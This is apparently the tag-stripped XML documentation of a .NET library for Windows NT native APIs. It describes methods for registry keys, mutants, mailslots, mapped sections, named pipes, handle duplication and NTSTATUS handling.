Thrown on error. + + + + Open the root key + + The opened key with the maximum access allowed. + True to throw on error. + Thrown on error. + + + + Create a new Key + + Path to the key to create + The opened key + Thrown on error. + + + + Create a new Key + + Path to the key to create + Desired access for the root key + Create options + The opened key + Thrown on error. + + + + Delete the key + + True to throw on error. + + + + Delete the key + + + + + Set a resistry value + + The name of the value + The type of the value + The raw value data + True to throw on error. + Thrown on error. + The NT status code. + + + + Set a resistry value + + The name of the value + The type of the value + The raw value data + Thrown on error. + + + + Set a string resistry value + + The name of the value + The type of the value + The value data + True to throw on error. + Thrown on error. + The NT status code. + + + + Set a string resistry value as REG_SZ. + + The name of the value + The value data + True to throw on error. + Thrown on error. + The NT status code. + + + + Set a string resistry value + + The name of the value + The type of the value + The value data + Thrown on error. + + + + Set a string resistry value as REG_SZ. + + The name of the value + The value data + Thrown on error. + + + + Set a list of strings as a resistry value. + + The name of the value + The list of strings to set. + True to throw on error. + Thrown on error. + The NT status code. + + + + Set a list of strings as a resistry value. + + The name of the value + The list of strings to set. + Thrown on error. + + + + Set a DWORD resistry value + + The name of the value + The value data + True to throw on error. + Thrown on error. + The NT status code. + + + + Set a DWORD resistry value + + The name of the value + The value data + True to set the value of big endian. + True to throw on error. + Thrown on error. + The NT status code. + + + + Set a QWORD resistry value + + The name of the value + The value data + True to throw on error. + Thrown on error. + The NT status code. + + + + Set a DWORD resistry value + + The name of the value + The value data + Thrown on error. + + + + Set a DWORD resistry value + + The name of the value + The value data + True to set the value of big endian. + Thrown on error. + + + + Set a QWORD resistry value + + The name of the value + The value data + Thrown on error. + + + + Delete a registry value + + The name of the value + True to throw on error. + Thrown on error. + The NT status code. + + + + Delete a registry value + + The name of the value + Thrown on error. + + + + Query a value by name + + The name of the value + True to throw on error + The value information + + + + Query a value by name + + The name of the value + The value information + Thrown on error. + + + + Query all values for this key + + A list of values + Thrown on error. + + + + Query all subkey entries. + + The list of subkey entries + Thrown on error. + + + + Query all subkey names + + The list of subkey names + Thrown on error. + + + + Return a list of subkeys which can be accessed. + + The required access rights for the subkeys + True to open link keys rather than following the link. + True to open keys with backup flag set. + The disposable list of subkeys. + + + + Return a list of subkeys which can be accessed. + + The required access rights for the subkeys + The disposable list of subkeys. + Thrown on error. + + + + Set a symbolic link target for this key (must have been created with + appropriate create flags) + + The symbolic link target. + True to throw on error. + The NT status code. + Thrown on error. + + + + Set a symbolic link target for this key (must have been created with + appropriate create flags) + + The symbolic link target. + + + + Get the symbolic link target for this key. + + True to throw on error. + The symbolic link target. + Thrown on error. + + + + Get the symbolic link target for this key. + + The symbolic link target. + Thrown on error. + + + + Open a key + + The path to the key to open + The opened key + Thrown on error. + + + + Open a key + + The path to the key to open + Access rights for the key + The opened key + Thrown on error. + + + + Open a key + + The path to the key to open + Access rights for the key + True to throw on error. + The opened key + Thrown on error. + + + + Open a key + + The path to the key to open + Access rights for the key + Key open options. + True to throw on error. + The opened key + Thrown on error. + + + + Reopen the key with different access rights. + + The access rights to reopen with. + Open options. + True to throw on error. + The opened key. + + + + Reopen the key with different access rights. + + The access rights to reopen with. + The object attributes to open with. + Open options. + True to throw on error. + The opened key. + + + + Reopen the key with different access rights. + + The access rights to reopen with. + Open options. + The opened key. + + + + Convert object to a .NET RegistryKey object + + The registry key object + + + + Rename key. + + The new name for the key. + True to throw on error. + The NT status code. + Thrown on error. + + + + Rename key. + + The new name for the key. + Thrown on error. + + + + Save the opened key into a file. + + The file to save to. + Save key flags + True to throw on error. + The NT status code. + Thrown on error. + + + + Save the opened key into a file. + + The file to save to. + Save key flags + + + + Save the opened key into a file. + + The file path to save to. + Save key flags + True to throw on error. + The NT status code. + Thrown on error. + + + + Save the opened key into a file. + + The file path to save to. + Save key flags + + + + Save the opened key into a file. + + The file path to save to. + + + + Restore key from a file. + + The file to restore from + Restore key flags + True to throw on error. + The NT status code. + Thrown on error. + + + + Restore key from a file. + + The file to restore from + Restore key flags + + + + Restore key from a file. + + The file path to restore from + Restore key flags + True to throw on error. + The NT status code. + Thrown on error. + + + + Restore key from a file. + + The file path to restore from + Restore key flags + + + + Restore key from a file. + + The file path to restore from + + + + Try and lock the registry key to prevent further modification. + + Note that this almost certainly never works from usermode, there's an explicit + check to prevent it in the kernel. + + + + Wait for a change on the registry key. + + Specify what changes will be notified. + True to watch the entire tree. + The status from the change notification. + Thrown on error. + + + + Wait for a change on thie registry key asynchronously. + + Specify what changes will be notified. + True to watch the entire tree. + The status from the change notification. + Thrown on error. + + + + Visit all accessible keys under this one. + + A function to be called on every accessible key. Return true to continue enumeration. + Specify the desired access for the keys. + True to recurse into sub keys. + Specify max recursive depth. -1 to not set a limit. + Open the key using backup privileges. + + + + Visit all accessible directories under this one. + + A function to be called on every accessible directory. Return true to continue enumeration. + + + + Visit all accessible directories under this one. + + A function to be called on every accessible directory. Return true to continue enumeration. + True to recurse into sub directories. + + + + Visit all accessible directories under this one. + + A function to be called on every accessible directory. Return true to continue enumeration. + Specify the desired access for the directory + True to recurse into sub directories. + Open the key using backup privileges. + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Method to set information for this object type. + + The information class. + The buffer to set data from. + The NT status code for the set. + + + + Get key last write time + + The last write time + Thrown on error. + + + + Get key subkey count + + The subkey count + Thrown on error. + + + + Get key value count + + The key value count + Thrown on error. + + + + Get the key title index + + The key title index + Thrown on error. + + + + Get the key class name + + The key class name + Thrown on error. + + + + Get the maximum key value name length + + The maximum key value name length + Thrown on error. + + + + Get the maximum key value data length + + The maximum key value data length + Thrown on error. + + + + Get the maximum subkey name length + + The maximum subkey name length + Thrown on error. + + + + Get the maximum class name length + + The maximum class name length + Thrown on error. + + + + Get the key path as a Win32 style one. If not possible returns + the original path. + + + + + The disposition when the key was created. + + + + + Indicates the handle is a special pre-defined one by the kernel. + + + + + Get or set virtualization flags. + + + + + Get or set key control flags. + + + + + Get or set wow64 flags. + + + + + Get key flags. + + + + + Indicates if this key is from a trusted hive. + + + + + Indicates if this key is a symbolic link. + + + + + Indicates if this key is volatile. + + + + + Get the name from NtQueryKey. + + + + + Returns whether this object is a container. + + + + + A key entry. + + + + + The name of the key. + + + + + The last write time. + + + + + The key's title index. + + + + + Class to represent a loaded hive from the Hive List. + + + + + Path to the root key. + + + + + Path to the hive file. + + + + + Utilities for registry keys. + + + + + Convert a Win32 style keyname such as HKEY_LOCAL_MACHINE\Path into a native key path. + + The win32 style keyname to convert. + The converted keyname. + Thrown if invalid name. + + + + Attempt to convert an NT style registry key name to Win32 form. + If it's not possible to convert the function will return the + original form. + + The NT path to convert. + The converted path, or original if it can't be converted. + + + + Query list of loaded hives from the Registry. + + Convert the file path to a DOS path. + The list of loaded hives. + + + + Query list of loaded hives from the Registry. + + The list of loaded hives. + + + + Class representing a single Key value + + + + + Name of the value + + + + + Type of the value + + + + + Raw data for the value + + + + + Title index for the value + + + + + Get the value as an object. + + + + + Convert the value to a string + + The value as a string + + + + Convert value to an object + + The value as an object + + + + LDR static methods. + + + + + Get address of a procedure in a mapped image. + + The handle to the mapped image. + The name of the procedure to find. + True to throw on error. + The procedure address. + + + + Get address of a procedure in a mapped image. + + The handle to the mapped image. + The name of the procedure to find. + The procedure address. + + + + Class to access NT locale information + + + + + Get mapped NLS section + + The type of section + The codepage number + True to throw on error. + The mapped section if it exists. + + + + Get mapped NLS section + + The type of section + The codepage number + The mapped section if it exists. + + + + Get default locale ID + + True if the locale should be the thread's, otherwise the systems + True to throw on error. + The locale ID + + + + Get default locale ID + + True if the locale should be the thread's, otherwise the systems + The locale ID + + + + Set default locale + + True if the locale should be the thread's, otherwise the systems + True to throw on error. + The locale ID + The NT status code. + + + + Set default locale + + True if the locale should be the thread's, otherwise the systems + The locale ID + + + + Class representing a NT File Mailslot client object + + + + + Set the mailslot read timeout. + + The timeout to set. + True to throw on error. + The NT Status code. + + + + Peek on the current status of the Mailslot. + + True to throw on error. + The peek status. + + + + Peek on the current status of the Mailslot. + + The peek status. + + + + Get or set the Read Timeout. + + + + + Get maximum message size. + + + + + Get mailslot quota. + + + + + Get next message size. + + + + + Get messages available. + + + + + Class representing a mapped section + + + + + The process which the section is mapped into + + + + + The valid length of the mapped section from the current position. + + This doesn't take into account the possibility of fragmented commits. + + + + Get full path for mapped section. + + + + + Query the memory protection setting for this mapping. + + + + + Get image signing level. + + + + + Get the base address of the mapped section. + + + + + Release the internal handle + + + + + + Checks if this mapped view represents the same file. + + The address to check. + True to throw on error. + True if the mapped view represents the same file. + + + + Checks if this mapped view represents the same file. + + The address to check. + True if the mapped view represents the same file. + + + + Detaches the current buffer and allocates a new one. + + Specify a new length for the detached buffer. Must be <= Length. + The detached buffer. + The original buffer will become invalid after this call. + + + + Class representing a NT Mutant object + + + + + Create a new mutant + + The path to the mutant + The root object if path is relative + True to set current thread as initial owner + The opened mutant + Thrown on error + + + + Create a new mutant + + Object attributes + True to set current thread as initial owner + Desired access for mutant + The opened mutant + Thrown on error + + + + Create a new mutant + + Object attributes + True to set current thread as initial owner + Desired access for mutant + True to throw an exception on error. + The NT status code and object result. + + + + Open a mutant + + The path to the mutant + The root object if path is relative + Desired access for mutant + The opened mutant + Thrown on error + + + + Open a mutant + + The path to the mutant + The root object if path is relative + The opened mutant + Thrown on error + + + + Open a mutant + + Object attributes + Desired access for mutant + The opened mutant + Thrown on error + + + + Open a mutant + + Object attributes + Desired access for mutant + True to throw an exception on error. + The NT status code and object result. + + + + Release the mutant + + True to throw on error. + The previous release count + + + + Release the mutant + + The previous release count + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Get the owner of the mutant. + + + + + Get current count. + + + + + Get wether mutant owned by current thread. + + + + + Get whether mutant is abandoned. + + + + + Pipe attribute type. + + + + + The pipe attributes. + + + + + The pipe connect attributes. + + + + + The pipe handle attributes. + + + + + Class to add additional methods to a file for a named pipe. This is a base class for server and client types. + + + + + Get a named attribute from the pipe. + + The attribute type to query. + The name of the attribute. + True to throw on error. + The attribute value as a byte array. + Thrown on error. + + + + Set a named attribute for a pipe. + + The attribute type to set. + The name of the attribute. + The value to set. + True to throw on error. + The status code for the attribute. + Thrown on error. + + + + Set a named attribute for a pipe. + + The attribute type to set. + The name of the attribute. + The value to set. + Thrown on error. + + + + Set a named attribute for a pipe. + + The attribute type to set. + The name of the attribute. + The value to set. + True to throw on error. + The status code for the attribute. + Thrown on error. + + + + Set a named attribute for a pipe. + + The attribute type to set. + The name of the attribute. + The value to set. + Thrown on error. + + + + Set a named attribute for a pipe. + + The attribute type to set. + The name of the attribute. + The value to set. + True to throw on error. + The status code for the attribute. + Thrown on error. + + + + Set a named attribute for a pipe. + + The attribute type to set. + The name of the attribute. + The value to set. + Thrown on error. + + + + Get a named attribute from the pipe. + + The attribute type to query. + The name of the attribute. + The attribute value as a byte array. + Thrown on error. + + + + Get a named attribute from the pipe as an integer. + + The attribute type to query. + The name of the attribute. + True to throw on error. + The attribute value as an integer. + Thrown on error. + + + + Get a named attribute from the pipe as an integer. + + The attribute type to query. + The name of the attribute. + The attribute value as an integer. + Thrown on error. + + + + Get a named attribute from the pipe as an integer. + + The attribute type to query. + The name of the attribute. + True to throw on error. + The attribute value as an integer. + Thrown on error. + + + + Get a named attribute from the pipe as an integer. + + The attribute type to query. + The name of the attribute. + The attribute value as an integer. + Thrown on error. + + + + Send and receive a message in one call. + + The input buffer to send. + The maximum output size. + True to throw on error. + The received buffer. + + + + Send and receive a message in one call. + + The input buffer to send. + The maximum output size. + The received buffer. + + + + Send and receive a message in one call. + + The input buffer to send. + The maximum output size. + True to throw on error. + The received buffer. + + + + Send and receive a message in one call. + + The input buffer to send. + The maximum output size. + The received buffer. + + + + Set pipe information flags. + + The read mode to set. + The completion mode. + True to throw on error. + The NT status code. + + + + Set pipe information flags. + + The read mode to set. + The completion mode. + + + + Query the information class as an object. + + The information class. + True to throw on error. + The information class as an object. + + + + Pipe completion mode. + + + + + Pipe read mode. + + + + + Pipe type. + + + + + Pipe configuration. + + + + + Maximum instances of the pipe, -1 is unlimited. + + + + + Current pipe instances. + + + + + Inbound quota. + + + + + Available bytes to read. + + + + + Outbound quota. + + + + + Available outbound quota. + + + + + Connect state of the named pipe. + + + + + Type of pipe endpoint. + + + + + Class to add additional methods to a file for a named pipe server. + + + + + Listen for a new connection to this named pipe server. + + + + + Listen for a new connection to this named pipe server asynchronously. + + An optional cancellation token. + The async task to complete. + + + + Listen for a new connection to this named pipe server asynchronously. + + The async task to complete. + + + + Disconnect this named pipe server. + + + + + Disconnect this named pipe server asynchronously. + + An optional cancellation token. + The async task to complete. + + + + Disconnect this named pipe server asynchronously. + + The async task to complete. + + + + Impersonate the client of the named pipe. + + The impersonation context. Dispose to revert to self. + + + + Get client process ID. + + + + + Get client session ID. If this is 0 then the client is local, otherwise it's set by the SMB server. + + + + + Get client computer name. + + + + + Get the default named pipe ACL for the current caller. + + The default named pipe ACL. + + + + Class to add additional methods to a file for a named pipe client. + + + + + Disables impersonation on a named pipe. + + + + + Get server process ID. + + + + + Get client session ID. + + + + + A pair of named pipes. + + + + + Read pipe for the pair. + + + + + Write pipe for the pair. + + + + + Base class for all NtObject types we handle + + + + + Get the basic information for the object. + + The basic information + + + + Base constructor + + Handle to the object + + + + Duplicate the internal handle to a new handle. + + Attribute flags for new handle + The source handle to duplicate + The source process to duplicate from + The desination process for the handle + Duplicate handle options + The access rights for the new handle + True to throw an exception on error. + The NT status code and object result. + + + + Duplicate the internal handle to a new handle. + + The source handle to duplicate + The desination process for the handle + Duplicate handle options + The access rights for the new handle + The duplicated handle. + + + + Duplicate a handle from the current process to a new handle with the same access rights. + + The source handle to duplicate + The desination process for the handle + The duplicated handle. + + + + Duplicate a handle from and to the current process to a new handle with the same access rights. + + The source handle to duplicate + The duplicated handle. + + + + Duplicate a handle from and to the current process to a new handle with the same access rights. + + The source handle to duplicate + True to throw on error. + The duplicated handle. + + + + Duplicate a handle from and to the current process to a new handle with new access rights. + + The source handle to duplicate + The access for the new handle. + The duplicated handle. + + + + Indicates whether a specific type of kernel object can be opened. + + The kernel typename to check. + True if this type of object can be opened. + + + + Open an NT object with a specified type. + + The type to open. If null the method will try and lookup the appropriate type. + Object attributes for object. + Generic access rights to the object. + True to throw on error. + The opened object. + Thrown if an error occurred opening the object. + + + + Open an NT object with a specified type. + + The name of the type to open (e.g. Event). If null the method will try and lookup the appropriate type. + The path to the object to open. + A root directory to open from. + Generic access rights to the object. + Attributes to open the object. + Security quality of service. + True to throw on error. + The opened object. + Thrown if an error occurred opening the object. + + + + Open an NT object with a specified type. + + The name of the type to open (e.g. Event). If null the method will try and lookup the appropriate type. + The path to the object to open. + A root directory to open from. + Generic access rights to the object. + Attributes to open the object. + Security quality of service. + The opened object. + Thrown if an error occurred opening the object. + + + + Open an NT object with a specified type. + + The name of the type to open (e.g. Event). If null the method will try and lookup the appropriate type. + The path to the object to open. + A root directory to open from. + Generic access rights to the object. + The opened object. + Thrown if an error occurred opening the object. + Thrown if type of resource couldn't be found. + + + + Close a handle in another process. + + The source handle to close. + The source process containing the handle to close. + True to throw an exception on error. + The NT status code. + + + + Close a handle in another process. + + The source handle to close. + The source process containing the handle to close. + + + + Close a handle in another process by PID. + + The source handle to close. + The source process ID containing the handle to close. + True to throw an exception on error. + The NT status code. + + + + Close a handle in another process by PID. + + The source handle to close. + The source process ID containing the handle to close. + + + + Close a handle. + + The handle to close. + The NT status code. + + + + Close a handle. + + The handle to close. + The NT status code. + + + + Duplicate a handle to a new handle, potentially in a different process. + + Attribute flags for new handle + The source handle to duplicate + The source process to duplicate from + The desination process for the handle + Duplicate handle options + The access rights for the new handle + True to throw an exception on error. + The NT status code and object result. + + + + Duplicate a handle to a new handle, potentially in a different process. + + Attribute flags for new handle + The source handle to duplicate + The source process to duplicate from + The desination process for the handle + Duplicate handle options + The access rights for the new handle + The NT status code and object result. + + + + Duplicate object. + + Access rights to duplicate with. + Attribute flags. + Duplicate options + True to throw an exception on error. + The duplicated object. + + + + Duplicate object. + + Access rights to duplicate with. + Attribute flags. + Duplicate options + The duplicated object. + + + + Duplicate object with specific access rights. + + Access rights to duplicate with. + The duplicated object. + + + + Duplicate object with same access rights. + + The duplicated object. + + + + Duplicate the object handle as a WaitHandle. + + The wait handle. + + + + Check if access is granted to a set of rights + + The access rights to check + True if all the access rights are granted + + + + Get security descriptor as a byte array + + What parts of the security descriptor to retrieve + The security descriptor + + + + Get security descriptor as a byte array + + What parts of the security descriptor to retrieve + True to throw on error. + The NT status result and security descriptor. + + + + Get security descriptor as a byte array + + Returns an array of bytes for the security descriptor + + + + Set the object's security descriptor + + The security descriptor to set. + What parts of the security descriptor to set + True to throw on error. + The NT status result. + + + + Set the object's security descriptor + + The security descriptor to set. + What parts of the security descriptor to set + + + + Set the object's security descriptor + + The security descriptor to set. + What parts of the security descriptor to set + + + + Set the object's security descriptor + + The security descriptor to set. + What parts of the security descriptor to set + True to throw on error. + The NT status code. + + + + Get the security descriptor specifying which parts to retrieve + + What parts of the security descriptor to retrieve + The security descriptor + + + + Get the security descriptor specifying which parts to retrieve + + What parts of the security descriptor to retrieve + True to throw on error. + The security descriptor + + + + Get the security descriptor as an SDDL string + + The security descriptor as an SDDL string + + + + Make the object a temporary object + + True to throw on error. + The NT status code. + + + + Make the object a temporary object + + + + + Make the object a permanent object + + True to throw on error. + The NT status code. + + + + Make the object a permanent object + + + + + Wait on the object to become signaled + + True to make the wait alertable + The time out + The success status of the wait, such as STATUS_SUCCESS or STATUS_TIMEOUT + Thrown on error + + + + Wait on the object to become signaled + + The time out + The success status of the wait, such as STATUS_SUCCESS or STATUS_TIMEOUT + Thrown on error + + + + Wait on the object to become signaled + + True to make the wait alertable + The time out in seconds + The success status of the wait, such as STATUS_SUCCESS or STATUS_TIMEOUT + Thrown on error + + + + Wait on the object to become signaled + + The time out in seconds + The success status of the wait, such as STATUS_SUCCESS or STATUS_TIMEOUT + Thrown on error + + + + Wait on the object to become signaled for an infinite time. + + The success status of the wait, such as STATUS_SUCCESS or STATUS_TIMEOUT + Thrown on error + + + + Wait on the object to become signaled. + + Timeout in seconds. + Cancellation token for wait. + A task to wait on. If result is true then event was signaled. + + + + Wait on the object to become signaled. + + Timeout in seconds. + A task to wait on. If result is true then event was signaled. + + + + Wait on the object to become signaled. + Will wait an infinite time. + + A task to wait on. + + + + Convert an enumerable access rights to a string + + True to try and convert to generic rights where possible. + The string format of the access rights + + + + Convert an enumerable access rights to a string + + The string format of the access rights + + + + Check if this object is exactly the same as another using NtCompareObject. + + The object to compare against. + True if this is the same object. + Thrown on error. + This is only supported on Windows 10 and above. For one which works on everything use SameObject. + + + + Check if this object is exactly the same as another. + + The object to compare against. + True if this is the same object. + Thrown on error. + This function can be slow to run and unreliable. Use CompareObject is Windows 10 or above. + + + + Convert to a string + + The string form of the object + + + + Get full path to the object + + + + + Get the granted access as an unsigned integer + + + + + Get the security descriptor, with Dacl, Owner, Group and Label + + + + + Get the security descriptor as an SDDL string + + The security descriptor as an SDDL string + + + + The low-level handle to the object. + + + + + Get the NT type name for this object. + + The NT type name. + + + + Get the NtType for this object. + + The NtType for the type name + + + + Get the name of the object + + + + + Indicates if the handle can be used for synchronization. + + + + + Get object creation time. + + + + + Get the attribute flags for the object. + + + + + Get number of handles for this object. + + + + + Get reference count for this object. + + + + + Get or set whether the handle is inheritable. + + + + + Get or set whether the handle is protected from closing. + + + + + Get the object's address is kernel memory. + + As getting the address is expensive you need to pass the object to NtSystemInfo::ResolveObjectAddress to intialize. + + + + Returns whether this object is a container. + + + + + Returns whether this object is closed. + + + + + Virtual Dispose method. + + True if disposing, false if finalizing + + + + Finalizer + + + + + Dispose + + + + + Close handle + + + + + Generic access rights. + + + + + Options for duplicating objects. + + + + + Close the original handle. + + + + + Duplicate with the same access. + + + + + Duplicate with the same handle attributes. + + + + + Prevent duplicating handle above the existing access. + + + + + Information class for NtQueryObject + + + + + + Structure to return Object Name + + + + + Structure to return Object basic information + + + + + Type of kernel pool used for object allocation + + + + + Native structure used for getting type information. + + + + + Static utility methods. + + + + + Convert the safe handle to an array of bytes. + + The data contained in the allocaiton. + + + + Convert an NtStatus to an exception if the status is an error + + The NtStatus + The original NtStatus if not an error + Thrown if status is an error. + + + + Convert an NtStatus to an exception if the status is an error and throw_on_error is true. + + The NtStatus + True to throw an exception onerror. + The original NtStatus if not thrown + Thrown if status is an error and throw_on_error is true. + + + + Checks if the NtStatus value is a success + + The NtStatus value + True if a success + + + + Checks if the NtStatus value is an error. + + The NtStatus value + True if an error. + + + + Get the severity of the NTSTATUS. + + The NtStatus value + The severity. + + + + Get the facility of the NTSTATUS. + + The NtStatus value + The facility. + + + + Get the status code of the NTSTATUS. + + The NtStatus value. + The static code. + + + + Is an NTSTATUS a customer code. + + The NtStatus value + True if is a customer code. + + + + Is an NTSTATUS reserved. + + The NtStatus value + True if reserved. + + + + Build a status from it's component parts. + + The severity of the status code. + Is this a customer code? + Is this a reserved code? + The facility. + The status code. + + + + + Convert an NTSTATUS to a message description. + + The status to convert. + The message description, or an empty string if not found. + + + + Convert an integer to an NtStatus code. + + The integer status. + The converted code. + + + + Convert an enumerable access rights to a string + + The granted access mask. + Generic mapping for object type. + Enum type to convert to string. + True to try and convert to generic rights where possible. + The string format of the access rights + + + + Convert an IEnumerable to a Disposable List. + + + + + + + + Run a function on an NtResult and dispose the result afterwards. + + The underlying result type. + The result of the function. + The result. + The function to call. + The default value to return if an error occurred. + The result of func. + If result is not a success then the function is not called. + + + + Run a function on an NtResult and dispose the result afterwards. + + The underlying result type. + The result of the function. + The result. + The function to call. + The result of func. + If result is not a success then the function is not called. + + + + Run an action on an NtResult and dispose the result afterwards. + + The underlying result type. + The result. + The action to call. + If result is not a success then the action is not called. + + + + Run a function on an NtResult and dispose the result afterwards. + + The underlying result type. + The result of the function. + The result. + The function to call. + The result of func. + + + + Run an action on an NtResult and dispose the result afterwards. + + The underlying result type. + The result. + The action to call. + + + + Convert a handle to a known object type. + + The handle. + The object type. + + + + Convert a handle to a known object type. + + The handle. + True to own the handle. + The object type. + + + + Convert a handle to a known object type. + + The handle. + True to own the handle. + The object type. + + + + Map a DOS error to an NT status code. + + The DOS error. + The NT status code. + + + + Map a status to a DOS error code. Takes into account NTWIN32 + status codes. + + The status code. + The mapped DOS error. + + + + Get the last NT status code in this thread set for Win32 last error. + + The last NT status code. + + + + Create an NT result object. If status is successful then call function otherwise use default value. + + The result type. + The associated status code. + Throw an exception on error. + Function to call to create an instance of the result + The created result. + + + + Create a successful NT result object. + + The result type. + The result value. + The created result. + + + + Create an NT result object. If status is successful then call function otherwise use default value. + + The result type. + The associated status code. + Throw an exception on error. + Function to call to create an instance of the result + Function to call on error. + The created result. + + + + Create an NT result object. If status is successful then call function otherwise use default value. + + The result type. + The associated status code. + Throw an exception on error. + Function to call to create an instance of the result + The created result. + + + + A derived class to add some useful functions such as Duplicate + + The derived type to use as return values + An enum which represents the access mask values for the type + + + + Reopen object with different access rights. + + The desired access. + Additional attributes for open. + True to throw on error. + The reopened object. + + + + Reopen object with different access rights. + + The desired access. + True to throw on error. + The reopened object. + + + + Reopen object with different access rights. + + The desired access. + The reopened object. + + + + Duplicate object. + + Access rights to duplicate with. + Attribute flags. + Duplicate options + True to throw an exception on error. + The duplicated object. + + + + Duplicate object. + + Access rights to duplicate with. + Attribute flags. + Duplicate options + True to throw an exception on error. + The duplicated object. + + + + Duplicate object. + + Access rights to duplicate with. + Attribute flags. + Duplicate options + The duplicated object. + + + + Duplicate the object with specific access rights + + The access rights for the new handle + The duplicated object + + + + Duplicate the object with specific access rights + + The access rights for the new handle + True to throw an exception on error. + The duplicated object + + + + Duplicate the object with same access rights + + The duplicated object + + + + Duplicate the object with same access rights + + True to throw on error. + The duplicated object + + + + Get granted access for handle. + + Granted access + + + + Get generic granted access for handle. + + Generic Granted access + + + + Get the maximum permission access for this object based on a token + and it's security descriptor. + + The token to check against. + Returns 0 if can't read the security descriptor. + + + + Get the maximum permission access for this object based on the current token + and its security descriptor. + + Returns 0 if can't read the security descriptor. + + + + Check if a specific set of access rights is granted + + The access rights to check + True if all access rights are granted + + + + Create a new instance from a kernel handle + + The kernel handle + The new typed instance + + + + Create a new instance from a kernel handle + + The kernel handle + True to own the handle. + The new typed instance + + + + Create a new instance from a kernel handle. + + The kernel handle + The call doesn't own the handle. The returned object can't be used to close the handle. + The new typed instance + + + + Duplicate an instance from a process + + The process (with DupHandle access) + The handle value to duplicate + The access rights to duplicate with + The options for duplication. + The attribute flags for the new object. + True to throw an exception on error. + The NT status code and object result. + + + + Duplicate an instance from a process + + The process (with DupHandle access) + The handle value to duplicate + The access rights to duplicate with + The options for duplication. + The attribute flags for the new object. + The NT status code and object result. + + + + Duplicate an instance from a process + + The process (with DupHandle access) + The handle value to duplicate + The access rights to duplicate with + The options for duplication. + True to throw an exception on error. + The NT status code and object result. + + + + Duplicate an instance from a process + + The process ID + The handle value to duplicate + The access rights to duplicate with + The options for duplication. + True to throw an exception on error. + The NT status code and object result. + + + + Duplicate an instance from a process with a specified access rights. + + The process (with DupHandle access) + The handle value to duplicate + The access rights to duplicate. + The duplicated handle + + + + Duplicate an instance from a process + + The process ID + The handle value to duplicate + The access rights to duplicate with + The duplicated handle + + + + Duplicate an instance from a process with same access rights. + + The process (with DupHandle access) + The handle value to duplicate + The duplicated object. + + + + Duplicate an instance from a process with same access rights + + The process ID + The handle value to duplicate + The duplicated handle + + + + Duplicate an instance from current process to an other process + + The destination process (with DupHandle access) + The access rights to duplicate with + The options for duplication. + True to throw an exception on error. + The NT status code and object result. + + + + Duplicate an instance from current process to an other process + + The destination process (with DupHandle access) + The handle value to duplicate + The access rights to duplicate with + The options for duplication. + True to throw an exception on error. + The NT status code and object result. + + + + Duplicate an instance from current process to an other process + + The destination process ID + The handle value to duplicate + The access rights to duplicate with + The options for duplication. + True to throw an exception on error. + The NT status code and object result. + + + + Duplicate an instance from current process to an other process with a specified access rights. + + The destination process (with DupHandle access) + The handle value to duplicate + The access rights to duplicate. + The duplicated handle + + + + Duplicate an instance from current process to an other process + + The destination process ID + The handle value to duplicate + The access rights to duplicate with + The duplicated handle + + + + Duplicate an instance from current process to an other process with same access rights. + + The destination process (with DupHandle access) + The handle value to duplicate + The duplicated object. + + + + Duplicate an instance from current process to an other process with same access rights. + + The destination process (with DupHandle access) + The duplicated object. + + + + Duplicate an instance from current process to an other process with same access rights + + The destination process ID + The handle value to duplicate + The duplicated handle + + + + Duplicate an instance from current process to an other process with same access rights + + The destination process ID + The duplicated handle + + + + Duplicate an instance from a process to an other process + + The source process (with DupHandle access) + The handle value to duplicate + The destination process (with DupHandle access) + The access rights to duplicate with + The options for duplication. + True to throw an exception on error. + The NT status code and object result. + + + + Duplicate an instance from a process to an other process + + The source process ID + The handle value to duplicate + The destination process ID + The access rights to duplicate with + The options for duplication. + True to throw an exception on error. + The NT status code and object result. + + + + Duplicate an instance from a process to an other process with a specified access rights. + + The source process (with DupHandle access) + The handle value to duplicate + The destination process (with DupHandle access) + The access rights to duplicate. + The duplicated handle + + + + Duplicate an instance from a process to an other process + + The source process ID + The handle value to duplicate + The destination process ID + The access rights to duplicate with + The duplicated handle + + + + Duplicate an instance from a process to an other process with same access rights. + + The source process (with DupHandle access) + The handle value to duplicate + The destination process (with DupHandle access) + The duplicated object. + + + + Duplicate an instance from a process to an other process with same access rights + + The source process ID + The handle value to duplicate + The destination process ID + The duplicated handle + + + + Interface to generically query an object. + + + + + Interface to generically set an object. + + + + + A derived class to add some useful functions such as Duplicate as well as generic Query and Set information methods. + + The derived type to use as return values + An enum which represents the access mask values for the type + An enum which represents the information class for query. + An enum which represents the information class for set. + + + + Query a fixed structure from the object. + + The type of structure to return. + The information class to query. + A default value for the query. + True to throw on error. + The result of the query. + Thrown on error. + + + + Query a fixed structure from the object. + + The type of structure to return. + The information class to query. + A default value for the query. + The result of the query. + Thrown on error. + + + + Query a fixed structure from the object. + + The type of structure to return. + The information class to query. + The result of the query. + Thrown on error. + + + + Query an enumerated value from the object. + + The type of enum to return. + The base type for the enumeration. + The information class to query. + The result of the query. + Thrown on error. + + + + Query an enumerated value from the object. + + The type of enum to return. + The information class to query. + The result of the query. + Thrown on error. + + + + Query the information class as an object. + + The information class. + True to throw on error. + The information class as an object. + + + + Query the information class as an object. + + The information class. + The information class as an object. + If the information class doesn't have an explicit object type a raw byte query will be made. + + + + Query a variable buffer from the object. + + The type of structure to return. + The information class to query. + A default value for the query. + True to throw on error. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object. + + The information class to query. + A buffer to initialize the initial query. Can be null. + True to throw on error. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object. + + The information class to query. + A buffer to initialize the initial query. Can be null. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object. + + The information class to query. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object and return as bytes. + + The information class to query. + A buffer to initialize the initial query. Can be null. + True to throw on error. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object and return as bytes. + + The information class to query. + A buffer to initialize the initial query. Can be null. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object and return as bytes. + + The information class to query. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object. + + The type of structure to return. + The information class to query. + A default value for the query. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object. + + The type of structure to return. + The information class to query. + The result of the query. + Thrown on error. + + + + Set a value to the object. + + The type of structure to set. + The information class to set. + The value to set. If you specify a SafeBuffer then it'll be passed directly. + True to throw on error. + The NT status code of the set. + Thrown on error. + + + + Set a value to the object. + + The type of structure to set. + The information class to set. + The value to set. + The NT status code of the set. + Thrown on error. + + + + 